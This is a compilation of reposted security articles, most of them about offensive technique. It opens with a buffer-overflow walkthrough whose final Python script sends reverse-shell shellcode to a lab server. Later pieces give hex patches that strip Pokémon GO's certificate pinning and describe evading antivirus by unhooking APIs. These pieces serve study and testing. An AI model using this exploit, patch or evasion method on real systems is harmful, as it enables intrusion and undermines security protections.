/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2100 This will create a unique pattern that we can crash the application with. Let’s update our code with the new string. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/user/bin/python import socket buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9' print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close() When we fire this off and check the EIP we’ll see a new unique string there. If we run that through pattern_offset we can find the exact offset before we overwrite the EIP register. In this case it’s at 2006. 1 2 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 396F4338 [*] Exact match at offset 2006 Let’s verify the offset by overwriting EIP with our own bit of code. I like to use 0xdeadbeef because why not? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/user/bin/python import socket from struct import * buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close() After running this, we can see that we have successfully overwritten EIP with DEADBEEF. SWEEEET! We now control EIP. This means we control the flow of the application. The next step is to see how much room we have for our shellcode. We could put it in the initial string of A’s before the crash, but let’s see how much further past the EIP we can write to the stack. Adding in Shellcode As I mentioned, we need to find some room for our shellcode so let’s update our code to squeez in some C’s. I’ll start with 400 bytes of C’s as that should be enough for a simple reverse shell. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/user/bin/python import socket from struct import * buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) buffer += 'C' * 400 print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close() After firing this off and looking at the dump we can see a couple of things. First is that all of our C’s seem to fit and second, they start right at the ESP. The image below, with it’s crappy highlighting, show’s the ESP. You can verify this by looking at the ESP value in the registers. This is good for a couple of reason. We know we have enough room for our shellcode, and we know that all we need to do is jump to the ESP to execute our shellcode. What do I mean by this? Well, since we control EIP, we can tell the application do go wherever we want. So what we need to do is tell it to go to an instruction call that says jmp esp. This will cause the application to go to the top of the stack and start executing our shellcode. But first, let’s find out what characters the application can and cannot handle. Finding Bad Characters In order to have successful execution, we need to make sure the application properly reads all of our characters. To do this, we need to send in a string of bad characters and then check the stack dump. If there is a break in the string, we can assume there is a bad characters, remove it, and send the string again. Fortunately for us there didn’t seem to be any bad characters in this application. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/user/bin/python import socket from struct import * badchar = "" badchar += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" badchar += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" badchar += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" badchar += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" badchar += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" badchar += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" badchar += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" badchar += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) buffer += badchar print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close() Finding our Return Address So how do we go about finding a jmp esp instruction call? With the power of Mona that’s how! First we need to find a module loaded in the application that doesn’t have any of the fancy memory protections. In this case, I’ll use essfunc.dll, so let’s see if there is a jmp esp call within that module. We’ll just use the top address as our return. Finalizing the Exploit Alright, we’ve done all the leg work. Now let’s finalize this exploit and get ourselves a shell! I’ll use msfvenom to generate some shellcode for us. 1 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.21 LPORT=4444 --smallest -f python -v payload -b '\x00' We’ll use the shell_reverse_tcp as it’s none-staged and relatively small. Note I’m also declaring the NULL character, 0x00, as a bad character. So let’s update our script. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/user/bin/python import socket from struct import * ret = pack('<L', 0x625011AF) payload = "" payload += "\x33\xc9\x66\xb9\x43\x01\xe8\xff\xff\xff\xff\xc1" payload += "\x5e\x30\x4c\x0e\x07\xe2\xfa\xfd\xea\x81\x04\x05" payload += "\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f\x9b\x43" payload += "\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c" payload += "\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28" payload += "\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe" payload += "\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40" payload += "\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b" payload += "\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf" payload += "\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41" payload += "\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa" payload += "\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24" payload += "\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4" payload += "\xe2\xb8\xbe\x8d\x8e\xe7\xe7\xe2\xa0\xcc\xc0\xfd" payload += "\xda\xe0\xbe\x9e\x65\x4e\x24\x0d\x9f\x9f\xa0\x88" payload += "\x66\xf7\xf4\xcd\x8f\x27\xc3\xa9\x55\x7e\xfc\xfd" payload += "\xfe\xff\xf0\xe1\xf2\xe3\xdc\x5f\xb9\x68\x58\x46" payload += "\x6f\x2c\xd6\xb8\xd6\x7f\x68\xc0\xe7\xab\xc6\xc5" payload += "\xd7\x9b\x41\x2f\xa0\xdb\x9a\x9a\xa6\x56\x75\xa5" payload += "\xb3\x2c\x01\x50\x16\xa3\xd4\x26\x94\xd3\xa9\x31" payload += "\xb6\x2f\x55\x43\xb4\x1c\x31\x8d\x85\x8a\x8c\xe9" payload += "\x63\x08\xbb\xba\xb9\xde\x06\x9b\xe0\xaa\xa2\x17" payload += "\x0b\x91\x3f\xbd\xde\xc7\xfd\xfc\x73\xbb\x24\x11" payload += "\xc4\x03\x40\x51\x56\x51\x5e\x5f\x4c\x5d\x42\x5b" payload += "\x58\x5c\x46\x79\x6b\xdf\x2b\x93\xe9\xc2\x91\xf9" payload += "\x54\x4d\x5a\xe2\x2e\x77\x28\xa6\x3f\x43\xdb\xf0" payload += "\x9d\xd7\x9d\x8b\x7c\x43\x8a\xb8\x93\xb2\xcf\xe4" payload += "\x0e\x35\x48\x3f\xb6\xcc\xd8\x4c\x3f\x80\x7b\x2e" payload += "\x4c\x50\x2a\x41\x11\xbc\x91" buffer = 'A' * 2006 buffer += ret buffer += payload print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close() And that’s it. Once we set up our listener and fire off the code we should have a shiny new shell! Sursa: https://t0w3ntum.wordpress.com/2016/07/22/buffer-overflows-and-you/

Pacdoor Pacdoor is a proof-of-concept JavaScript malware implemented as a Proxy Auto-Configuration (PAC) File. Pacdoor includes a 2-way communication channel, ability to exfiltrate HTTPS URLs, disable access to cherry-picked URLs etc. It was released as part of the Crippling HTTPS with Unholy PAC talk given at BlackHat USA 2016 conference by Itzik Kotler and Amit Klein from SafeBreach Labs. Slides are availble here Version 0.1.0 Link: https://github.com/SafeBreach-Labs/pacdoor

HEIST: HTTP Encrypted Information can be Stolen through TCP-windows Mathy Vanhoef and Tom Van Goethem iMinds-DistriNet mathy.vanhoef@cs.kuleuven.be - tom.vangoethem@cs.kuleuven.be Over the last few years, a worryingly number of attacks against SSL TLS and other securechannels have been discovered. Fortunately, at least from a defenders perspective, these attacks require an adversary capable of observing or manipulating network traffic. This prevented a wide and easy exploitation of these vulnerabilities. In contrast, we introduce HEIST, a set of techniques that allows us to carry out attacks against SSL/TLS purely in the browser. More generally, and surprisingly, with HEIST it becomes possible to exploit certain flaws in network protocols without having to sniff actual traffic. HEIST abuses weaknesses and subtleties in the browser, and the underlying HTTP, SSL/TLS, and TCP layers. In particular, we discover a side-channel attack that leaks the exact sizeof any cross-origin response. This side-channel abuses the way responses are sent at the TCP level. Combined with the fact that SSL/TLS lacks length-hiding capabilities, HEIST can directly infer the length of the plaintext message. Concretely, this means that compression-based attacks such as CRIME and BREACH can now be performed purely in the browser, by any malicious website or script, without requiring a man-in-the-middle position. Moreover, we also show that our length-exposing attacks can be used to obtain sensitive information from unwitting victims by abusing services on popular websites. Finally, we explore the reach and feasibility of exploiting HEIST. We show that attacks can be performed on virtually every web service, even when HTTP 2 is used. In fact, HTTP 2 allows for more damaging attack techniques, further increasing the impact of HEIST. In short, HEIST is a set of novel attack techniques that brings network-level attacks to the browser, posing an imminent threat to our online security and privacy. Download: https://tom.vg/papers/heist_blackhat2016.pdf

Reverse engineering and removing Pokémon GO’s certificate pinning Posted by Eaton in News Hello everyone, this is one of my first attempts at tinkering around on the Android platform. After spending so many years reverse engineering PowerPC executables on the Xbox 360 platform, I quickly got the hang of ARM and am happy to share some important information that will aid the Pokémon GO dev community. By now, you have probably noticed you can no longer MITM HTTPS requests between your Android device and the Niantic Labs/Pokémon GO servers. This is because of something called certificate pinning. What is certificate pinning? Put simply, it is Pokémon GO performing additional validation against the certificate provided by the server. Pokémon GO expects the Niantic Labs certificate, but when you MITM with Fiddler, Pokémon GO sees Fiddler’s certificate. Pokémon GO detects this and aborts the connection before any data is sent to the server. If you are interested in reading more about this in more detail, this page has a great explanation. Has Pokémon GO always had certificate pinning? On July 30th, 2016, version 0.31.0 of Pokémon GO was released. This is the second update for the game. The base game and the first update did not have certificate pinning. I was a little surprised that certificate pinning was not implemented from the beginning. However, once it was added, it was easily noticeable in Fiddler with all the failed CONNECTs. And an error in Pokémon GO itself, even though the network and account are both fine. Based on those observations, coupled with the fact that Fiddler worked fine on the previous version of Pokémon GO, there is a very high chance certificate pinning is now implemented in version 0.31.0. Do I need root access? You do not need root access! This method works on both rooted and non-rooted devices. Will I be banned if I do this? No bans were encountered during testing on version 0.31.0, but this can easily change in a future version. It is recommended you use a throwaway account when you need to MITM, just in case there are any custom/secret APK modification checks. If you log in using Google… Due to an Android security feature, you may be unable to log in to Pokémon GO using your Google account with a patched APK. Reverse engineering the certificate pinning Note: These steps are only valid for Pokémon GO version 0.31.0. If you aren’t interested in learning how this was done and just want to patch your APK, scroll down to “Patching the APK”. Pokémon GO obviously must have the entire leaf, intermediate, or root certificate or at least the public key to validate against somewhere in the APK, likely in a file that contains code. The first thing I tried was searching for the leaf certificate’s public key. To get that, I went to the Niantic Labs website and examined its leaf certificate using Chrome. Let’s extract the APK and use a hex editor to do a byte sequence search in the files that contain code to find the public key. classes.dex? Nope. lib\armeabi-v7a\libmain.so? Nope. lib\armeabi-v7a\libNianticLabsPlugin.so? DING! One instance found for the public key. This definitely looks like a copy of the Niantic Labs leaf certificate. This is an so (shared object) file which is full of native code. This is where things get more complicated. I’m going to be using IDA Pro version 6.9 to dig into this file. There are other disassemblers out there that can do the job, but IDA Pro is my tool of choice. The fun begins. Let’s search for that same sequence of public key bytes. There is one instance, as expected. Scrolling up a bit eventually reveals a function that references the entire leaf certificate. Let’s go into sub_A9BE4. Conveniently, the compiler has left a string at the top that identifies this function. After a little research on Google, I discovered that NianticTrustManager is basically Niantic’s customized X509TrustManager, and they have chosen to override the default GetAcceptedIssuers method. By overriding it, they, according to Java documentation, have the option to “Return an array of certificate authority certificates which are trusted for authenticating peers.” Let’s see if there is anything interesting in this function. I’ve spent enough time reverse engineering to know that a memcmp (compare two blocks of memory) and a “Rejected” string appearing in the same function is definitely something worth investigating. unk_1E2584 is the embedded Niantic Labs leaf certificate, so this function must be comparing it against another certificate. In this case, the other certificate is the Fiddler certificate. Looking at the flow of the assembly, we can NOP (no-operation) that branch below the memcmp and it will eliminate the possibility of getting to that “Rejected” block because of a memcmp failure. A NOP opcode in ARM is 0x00BF, so let’s patch that in and see what the function looks like. As you can see, our NOP is in place and there is no chance of getting to that “Rejected” block anymore. One more patch is needed. Before the memcmp, the function is checking the server certificate’s length. It is making sure the server certificate is 0x5FF in length. The Niantic Labs leaf certificate is that long, but Fiddler’s is not. Unfortunately, the flow of the assembly does not allow us to NOP this branch. Right now, it is a BEQ, which, in this context, means “branch if the server certificate’s length is equal to 0x5FF.” Let’s change that to just a B, which is an unconditional branch, meaning it will always branch to a specified location. This will eliminate the possibility of getting to that “Rejected” block because of a length mismatch. To change this BEQ to a B, all we need to do is to update the opcode from 0x14D0 to 0x14E0. Looks good! There are a few more possibilities of getting to that “Rejected” block, but let’s test this out before we worry about them. Patching the APK Note: These steps are only valid for Pokémon GO version 0.31.0. Open libNianticLabsPlugin.so using a hex editor, or use IDA Pro’s Edit->Patch program menu functions to do the following: Go to offset 0xA9C76 and change 14 D0 to 14 E0. If you do not see 14 D0, you might be looking at the wrong file, or are looking at the wrong version of Pokémon GO. Go to offset 0xA9CB0 and change E2 D1 to 00 BF. If you do not see E2 D1, you might be looking at the wrong file, or are looking at the wrong version of Pokémon GO. Save the changes and close the hex editor. Replace the old libNianticLabsPlugin.so file in the APK with the patched one. You can do this using any program that can open zip files – an APK is basically a zip file. Sign the APK using your tool of choice or ZipSigner in the Google Play store. Uninstall Pokémon GO on your device if it is installed and then install the patched APK, ignoring the unknown sources warnings. If everything was done correctly, you will be able to see the HTTPS requests in Fiddler, and Pokémon GO will function without displaying any error messages. Does this work on iPhone? You need a jailbroken iPhone to modify apps. Thanks to reddit user Mila432, we know that the function is very similar and can be patched the same way. Also see the comments for another tip. Important Note: Please do not abuse the Pokémon GO API. Putting additional load on the already-stressed servers could degrade the experience of millions of players around the world and encourage Niantic Labs to implement further API restrictions. Develop responsibly. Thanks for reading! I plan to write about more security related topics in the future, so feel free to use the option on the sidebar to subscribe to new posts, or follow me on Twitter. -Eaton Sursa: https://eaton-works.com/2016/07/31/reverse-engineering-and-removing-pokemon-gos-certificate-pinning/

ss7MAPer – A SS7 pen testing toolkit Posted by Daniel Mende While running some SS7 pentests last year, I developed a small tool automating some of the well-known SS7 attack cases. Today I’m releasing the first version of ss7MAPer, a SS7 MAP (pen-)testing toolkit. The toolkit is build upon the Osmocom SS7 stack and implements some basic MAP messages. At its current state tests against the HLR are ready for use, in future versions tests against VLR, MSC and SMSC will follow. The source code of the tool is published on github, feel free to use and extend. The tool is written in Erlang; to get it running you will need the Erlang runtime environment. It is developed for version 17.5. As example, the screen shot below shows the output of the tool against a HLR, testing which MAP messages are accepted and the results given back. As you can see in the picture, the demonstrated test cases for the HLR respond to most of the MAP messages regardless the fact that we are not registered as valid provider. The tool is not configured as a serving MSC nor a roaming contractor. Some of the information gathered can be seen as critical, as the MSISD -> IMSI resolution, the over-the-air crypto keys or the ability to create supplementary services e.g. call forwarding. The code (and its dependencies) are not that easy to compile but I tried to give a complete step by step instructions in the README file. The messages and test cases are gathered from public SS7 research of the last years (see 1, 2) and check for known weaknesses in the SS7 domain. The tool itself was developed under a cooperation with the Belgium provider Proximus and aims to test the secure configuration of the internal and external SS7 network access. Thanks a lot for giving us the opportunity here, we are convinced that the tool gives the research community but also telecommunication providers a new, important and (especially) open-source-based possibility for SS7 testing. More about the tool and SS7 testing on Troopers TelcoSecDay, Telco Network Security & Network Protocol Fuzzing Workshop. That’s it, get the code, try the tool. Best wishes from Heidelberg. /daniel Sursa: https://www.insinuator.net/2016/02/ss7maper-a-ss7-pen-testing-toolkit/

Jailbreak: http://en.pangu.io/

Exploiting PHP Format String Bugs the Easy Way I’ve been spending a lot of time poking through the PHP source-code lately, and twice now I’ve come across format string vulnerabilities. [1][2] I don’t consider format string bugs particularly interesting in-and-of themselves (they’re well known, and well understood), but it turns out PHP format strings are special. PHP adds functionality that makes these bugs a breeze to exploit. Let me explain… First though, full disclosure: this technique is not entirely my own. The original idea was inspired by Stefan Esser (@i0n1c) back in November of 2015. [3] If you enjoy security research, especially relating to PHP, I would highly recommend you follow him! Ok, PHP handles most format strings using custom internal functions. There are lots of these defined all throughout the code. For instance let’s grep for function definitions containing a format string as an argument. This isn’t perfect or scientific, but it gives you an idea. 1 2 andrew@thinkpad /tmp % grep -PRHn "const char ?\* ?(format|fmt)" ./php-7.0.3 | wc -l 149 I won’t post all of those, but here are two examples. In fact, these are the same functions that were erroneously called in the two bugs linked below. 1 2 3 static void zend_throw_or_error(int fetch_type, zend_class_entry *exception_ce, const char *format, ...) ZEND_API ZEND_COLD zend_object *zend_throw_exception_ex(zend_class_entry *exception_ce, zend_long code, const char *format, ...) ... etc ... Most, if not all, of these internal format string functions ultimately call either “xbuf_format_converter” (defined in main/spprintf.c), or “format_converter” (defined in main/snprintf.c). These two functions actually do the work of walking along the string and substituting specifiers with their corresponding values. This would be totally uninteresting, except for the fact that PHP adds one block that you don’t see in other format string implementations. From “main/spprintf.c”… Articol complet: https://jmpesp.org/blog/index.php/2016/07/28/exploiting-php-format-string-bugs-the-easy-way/

Defeating Antivirus Real-time Protection From The Inside 28 July 2016 on assembly, hacking, antivirus Hello again! In this post I'd like to talk about the research I did some time ago on antivirus real-time protection mechanism and how I found effective ways to evade it. This method may even work for evading analysis in sandbox environments, but I haven't tested that yet. The specific AV I was testing this method with was BitDefender. It performs real-time protection for every process in user-mode and detects suspicious behaviour patterns by monitoring the calls to Windows API. Without further ado, let's jump right to it. What is Realtime Protection? Detecting malware by signature detection is still used, but it is not very efficient. More and more malware use polymorphism, metamorphism, encryption or code obfuscation in order to make itself extremely hard to detect using the old detection methods. Most new generation AV software implement behavioral detection analysis. They monitor every running process on the PC and look for suspicious activity patterns that may indicate the computer was infected with malware. As an example, let's imagine a program that doesn't create any user interface (dialogs, windows etc.) and as soon as it starts, it wants to connect and download files from external server in Romania. This kind of behaviour is extremely suspicious and most AV software with real-time protection, will stop such process and flag it as dangerous even though it may have been seen for the first time. Now you may ask - how does such protection work and how does the AV know what the monitored process is doing? In majority of cases, AV injects its own code into the running process, which then performs Windows API hooking of specific API functions that are of interest to the protection software. API hooking allows the AV to see exactly what function is called, when and with what parameters. Cuckoo Sandbox, for example, does the same thing for generating the detailed report on how the running program interacts with the operating system. Let's take a look at how the hook would look like for CreateFileW API imported from kernel32.dll library. This is how the function code looks like in its original form: 76B73EFC > 8BFF MOV EDI,EDI 76B73EFE 55 PUSH EBP 76B73EFF 8BEC MOV EBP,ESP 76B73F01 51 PUSH ECX 76B73F02 51 PUSH ECX 76B73F03 FF75 08 PUSH DWORD PTR SS:[EBP+8] 76B73F06 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] ... 76B73F41 E8 35D7FFFF CALL <JMP.&API-MS-Win-Core-File-L1-1-0.C> 76B73F46 C9 LEAVE 76B73F47 C2 1C00 RETN 1C Now if an AV was to hook this function, it would replace the first few bytes with a JMP instruction that would redirect the execution flow to its own hook handler function. That way AV would register the execution of this API with all parameters lying on the stack at that moment. After the AV hook handler finishes, they would execute the original set of bytes, replaced by the JMP instruction and jump back to the API function for the process to continue its execution. This is how the function code would look like with the injected JMP instruction: Hook handler: 1D001000 < main hook handler code - logging and monitoring > ... 1D001020 8BFF MOV EDI,EDI ; original code that was replaced with the JMP is executed 1D001022 55 PUSH EBP 1D001023 8BEC MOV EBP,ESP 1D001025 -E9 D72EB759 JMP kernel32.76B73F01 ; jump back to CreateFileW to instruction right after the hook jump CreateFileW: 76B73EFC >-E9 FFD048A6 JMP handler.1D001000 ; jump to hook handler 76B73F01 51 PUSH ECX ; execution returns here after hook handler has done its job 76B73F02 51 PUSH ECX 76B73F03 FF75 08 PUSH DWORD PTR SS:[EBP+8] 76B73F06 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] ... 76B73F46 C9 LEAVE 76B73F47 C2 1C00 RETN 1C There are multiple ways of hooking code, but this one is the fastest and doesn't create too much bottleneck in code execution performance. Other hooking techniques involve injecting INT3 instructions or properly setting up Debug Registers and handling them with your own exception handlers that later redirect execution to hook handlers. Now that you know how real-time protection works and how exactly it involves API hooking, I can proceed to explain the methods of bypassing it. There are AV products on the market that perform real-time monitoring in kernel-mode (Ring0), but this is out of scope of this post and I will focus only on bypassing protections of AV products that perform monitoring in user-mode (Ring3). The Unhooking Flashbang As you know already, the real-time protection relies solely on API hook handlers to be executed. Only when the AV hook handler is executed, the protection software can register the call of the API, monitor the parameters and continue mapping the process activity. It is obvious that in order to completely disable the protection, we need to remove API hooks and as a result the protection software will become blind to everything we do. In our own application, we control the whole process memory space. AV, with its injected code, is just an intruder trying to tamper with our software's functionality, but we are the king of our land. Steps to take should be as follows: Enumerate all loaded DLL libraries in current process. Find entry-point address of every imported API function of each DLL library. Remove the injected hook JMP instruction by replacing it with the API's original bytes. It all seems fairly simple until the point of restoring the API function's original code, from before, when the hook JMP was injected. Getting the original bytes from hook handlers is out of question as there is no way to find out which part of the handler's code is the original API function prologue code. So, how to find the original bytes? The answer is: Manually retrieve them by reading the respective DLL library file stored on disk. The DLL files contain all the original code. In order to find the original first 16 bytes (which is more than enough) of CreateFileW API, the process is as follows: Read the contents of kernel32.dll file from Windows system folder into memory. I will call this module raw_module. Get the base address of the imported kernel32.dll module in our current process. I will call the imported module imported_module. Fix the relocations of the manually loaded raw_module with base address of imported_module (retrieved in step 2). This will make all fixed address memory references look the same as they would in the current imported_module (complying with ASLR). Parse the raw_module export table and find the address of CreateFileW API. Copy the original 16 bytes from the found exported API address to the address of the currently imported API where the JMP hook resides. This will effectively overwrite the current JMP with the original bytes of any API. If you want to read more on parsing Portable Executable files, the best tutorial was written by Iczelion (the website has a great 90's feel too!). Among many subjects, you can learn about parsing the import table and export table of PE files. When parsing the import table, you need to keep in mind that Microsoft, with release of Windows 7, introduced a strange creature called API Set Schema. It is very important to properly parse the imports pointing to these DLLs. There is a very good explanation of this entity by Geoff Chappel in his The API Set Schema article. Stealth Calling The API unhooking method may fool most of the AV products that perform their behavioral analysis in user-mode. This however does not fool enough, the automated sandbox analysis tools like Cuckoo Sandbox. Cuckoo apparently is able to detect if API hooks, it put in place, were removed. That makes the previous method ineffective in the long run. I thought of another method on how to bypass AV/sandbox monitoring. I am positive it would work, even though I have yet to put it into practice. For sure there is already malware out there implementing this technique. First of all, I must mention that ntdll.dll library serves as the direct passage between user-mode and kernel-mode. Its exported APIs directly communicate with Windows kernel by using syscalls. Most of the other 